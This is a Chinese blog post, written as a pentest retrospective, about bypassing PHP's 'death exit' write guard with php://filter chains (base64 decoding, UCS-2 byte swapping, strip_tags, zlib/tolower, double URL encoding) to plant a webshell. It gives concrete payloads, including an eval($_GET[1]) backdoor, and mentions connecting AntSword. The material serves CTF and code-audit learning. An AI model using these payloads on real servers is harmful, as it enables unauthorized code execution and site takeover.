当前位置: 首页 > news >正文

实战复盘:我是如何用PHP Filter伪协议绕过死亡exit,拿下Webshell的

突破死亡exit:PHP Filter伪协议的创造性攻防实践

那天下午三点二十七分,空调的嗡鸣声和键盘敲击声混在一起。我盯着屏幕上那段看似无害的代码,知道它背后藏着致命的防御机制——file_put_contents($filename, "<?php exit();".$content);。这种被称为"死亡exit"的防护,就像给保险箱上了两道锁,而我的任务是在不触发警报的情况下,悄悄塞进自己的钥匙。

1. 死亡exit的防御本质

死亡exit的核心防御逻辑简单却有效:在任何用户输入的内容前强制插入退出指令。常规的Webshell写入尝试会像撞上防弹玻璃的子弹——<?php exit();会立即终止脚本执行,使后续注入的代码变成无用的装饰品。

这种防御模式常见于以下场景:

  • 允许用户自定义文件内容的CMS系统
  • 需要临时文件写入的API接口
  • CTF比赛中典型的代码审计挑战

关键防御特点

  • 前置不可变的终止指令
  • 用户输入与系统指令的强制拼接
  • 依赖PHP解释器的执行优先级

2. 伪协议过滤器的破局思维

php://filter协议最迷人的特性在于它的流式处理能力。不同于简单的输入输出,它允许数据像流水线上的产品一样,经过多道加工工序。这个特性在对抗死亡exit时产生了意想不到的化学反应。

2.1 编码转换的魔法

Base64解码器有个鲜为人知的特性:它会自动忽略非字母数字字符。这意味着我们可以精心构造一个payload,让死亡exit在解码过程中"消失"。

$filename = "php://filter/write=convert.base64-decode/resource=shell.php"; $content = "aPD9waHAgcGhwaW5mbygpOz8+"; // <?php phpinfo();?>的base64编码

这里有几个精妙之处:

  1. 开头的"a"作为填充字符,使"<?php exit();"解码后变成乱码
  2. 填充后总长度满足base64解码的4字节对齐要求
  3. 真正的payload保持完整的可解码结构

2.2 字符编码的维度跳跃

当目标系统禁用base64时,iconv字符编码转换提供了另类突破口。UCS-2编码的字节序转换会产生奇妙的字符串重组效果:

$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";

这个payload的聪明之处在于:

  • UCS-2LE到UCS-2BE的转换会交换每两个字节的顺序
  • 精心构造的字符串经转换后会恢复成有效PHP代码
  • 死亡exit被转换成了无法识别的乱码

3. 过滤器组合的化学效应

单一过滤器可能被防御规则检测,但多种过滤器的组合使用能产生更强大的绕过效果。

3.1 标签剥离与编码的完美配合

string.strip_tags过滤器可以巧妙去除死亡exit的PHP标签,为后续操作铺路:

$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"; $content = "?>PD9waHAgcGhwaW5mbygpOz8+"; // ?>闭合前标签,后面接base64编码的payload

这种组合技的执行流程:

  1. strip_tags首先去除所有PHP标签(包括死亡exit)
  2. 剩余的纯文本进入base64解码流程
  3. 解码后的原始PHP代码被完整写入

3.2 压缩过滤器的变形术

zlib压缩过滤器组合使用会产生令人惊喜的效果:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';

这个方案的独特优势:

  • 压缩/解压过程会改变数据的内存布局
  • 中间插入的string.tolower打乱原始数据特征
  • 死亡exit在解压后失去原有结构

4. 实战中的高阶技巧

当遇到更严格的过滤时,需要祭出更隐蔽的绕过技术。

4.1 二次编码的艺术

某些系统会检测filter关键字,此时URL二次编码成为隐身衣:

$content = "php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565/resource=shell.php";

解码过程:

  1. 服务器首次解码:%25 → %
  2. 伪协议处理器二次解码:%63%6f%6e... → convert.base64-decode
  3. 检测规则看到的是混淆后的字符串

4.2 路径穿越的妙用

resource参数后的路径部分也可以玩花样:

$content = "php://filter/resource=./convert.base64-encode/../shell.php";

这种写法的特点:

  • 利用路径遍历伪装过滤器
  • 绕过简单的关键字检测
  • 保持最终写入位置的可控性

5. 防御者的反击与应对

聪明的防御者可能采取以下措施:

  • 禁用危险的过滤器类型
  • 限制伪协议的使用范围
  • 对写入内容进行多重校验

作为攻击者,我们需要:

  1. 全面探测可用的过滤器
    php -r "print_r(stream_get_filters());"
  2. 尝试冷门过滤器组合
  3. 利用环境特性(如PHP版本差异)

那次渗透测试的最后,我用了最不起眼的string.toupper过滤器配合zlib压缩,成功绕过了三层防御机制。当蚁剑成功连接时,显示器上的反光映出了我上扬的嘴角——这大概就是安全研究员的小确幸吧。

http://www.cnnetsun.cn/news/2839115.html

相关文章:

  • Tasking AI:以任务为单元的开源AI编程新范式
  • 图重构技术演进与PIFM核心思想解析
  • AI智能体反思机制(Reflection)实战指南:提升答案准确率与可解释性
  • 别再被‘php不是内部命令’卡住了!手把手教你配置Windows 11环境变量(以PHPStudy为例)
  • 分子表示学习与PCEvo方法在药物发现中的应用
  • 告别玄学调参:在Altium Designer里用SI仿真,提前搞定PCB走线的阻尼电阻
  • 从艺术家到开发者:我是如何用Blender Python API为游戏批量生成3D道具的
  • AR8035平替实战:用更便宜的YT8511 PHY芯片搞定千兆以太网设计
  • 度量空间离群嵌入技术:原理、算法与应用
  • Java校园二手交易系统源码:SSM框架+JSP前台+MySQL数据库,含后台管理与完整演示
  • 小程序毕业设计-基于springboot特色农产品交易系统基于springboot+微信小程序的云浮市特色农产品交易的设计与实现(源码+LW+部署文档+全bao+远程调试+代码讲解等)
  • 保姆级教程:用Grafana + Node Exporter,5分钟搭建你的Linux服务器监控看板
  • 别再手动改Prometheus配置了!用ServiceMonitor在K8s里实现监控配置自动化(附跨命名空间实战)
  • 从电磁炉到汽车继电器:聊聊续流二极管在生活电器里的‘隐身守护’
  • 告别照搬:深入SOEM的OSAL与OSHW层,定制你的轻量级EtherCAT主站
  • ResNet34网络结构超详细图解:从输入张量到输出结果的完整数据流分析
  • 你的论文引用格式规范吗?用Word交叉引用搞定参考文献[1,2,3]排版
  • PHP条件语句与分支逻辑优化
  • BentoML vs FastAPI:模型交付流水线的工程化选择
  • 用Matlab搞定数学建模:从濒危物种到汽车租赁,手把手教你玩转差分方程
  • DIY T12烙铁头驱动:用三极管和电容搞定NMOS上管驱动(附Multisim仿真)
  • 手把手复现Jira CVE-2019-8451 SSRF漏洞:从环境搭建到BurpSuite实战验证
  • PatchTST时间序列分块建模原理与工业实践
  • 用Cheat Engine 7.5给植物大战僵尸“动手术”:从阳光到僵尸血量的完整逆向实战
  • AD22白嫖指南:手把手教你安装Ansys EDB Exporter插件,搞定PCB导入HFSS
  • 四行代码实现低资源语言回译增强:nlpaug实战指南
  • 用SVM识别恶意网址的实战工具包:支持URL文本分类和PCAP流量特征提取
  • Mythos解析:大模型长程推理中的意图锚定技术
  • 智能超表面通信中的两阶段编码滑动波束训练技术
  • MATLAB环境下用粒子群算法自动整定LLC谐振变换器PI参数的仿真资源包